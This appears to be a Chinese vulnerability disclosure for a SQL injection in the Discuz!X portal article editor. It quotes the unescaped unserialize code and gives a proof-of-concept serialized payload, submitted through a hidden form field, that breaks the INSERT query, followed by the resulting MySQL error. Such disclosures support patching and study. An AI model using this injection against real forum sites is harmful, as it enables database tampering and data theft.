Discuz!X是康盛创想(Comsenz)推出的一个以社区为基础的专业建站平台,让论坛(BBS)、个人空间(SNS)、门户(Portal)、群组(Group)、应用开放平台(Open Platform)充分融合于一体,帮助网站实现一站式服务。
source\include\portalcp\portalcp_article.php
//90行
if($_G['gp_conver']) {
$converfiles = unserialize(stripcslashes($_G['gp_conver']));
$setarr['pic'] = $converfiles['pic'];
$setarr['thumb'] = $converfiles['thumb'];
$setarr['remote'] = $converfiles['remote'];
}
可以看出变量 $converfiles 没有 addcslashes。
$aid = DB::insert('portal_article_title', $setarr, 1); //122行
进入数据库查询,因此存在SQL注射BUG。
漏洞证明:
有 门户 › 门户管理 › 频道栏目 发表权限
发表文章:
http://localhost:9998/portal.php?mod=portalcp&ac=article&catid=1
在firebug下显示conver表单。
填上:a:3:{s:3:"pic";s:3:"xx'";s:5:"thumb";s:2:"xx";s:6:"remote";s:2:"xx";}
提交即暴错。
Error messages:
* [Type] 查询语句错误
* [1064] You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'xx',`remote`='xx',`uid`='1',`username`='admin',`id`='0'' at line 1
* [Query] INSERT INTO portal_article_title SET `title`='xxxxxxxx',`shorttitle`='',`author`='',`from`='',`fromurl`='',`dateline`='1301158320',`url`='',`allowcomment`='1',`summary`='xxxxxxxxxxxxxxxx',`prename`='',`preurl`='',`catid`='1',`tag`='0',`status`='0',`pic`='xx'',`thumb`='xx',`remote`='xx',`uid`='1',`username`='admin',`id`='0'
作者:Jannock ,and Qing Edit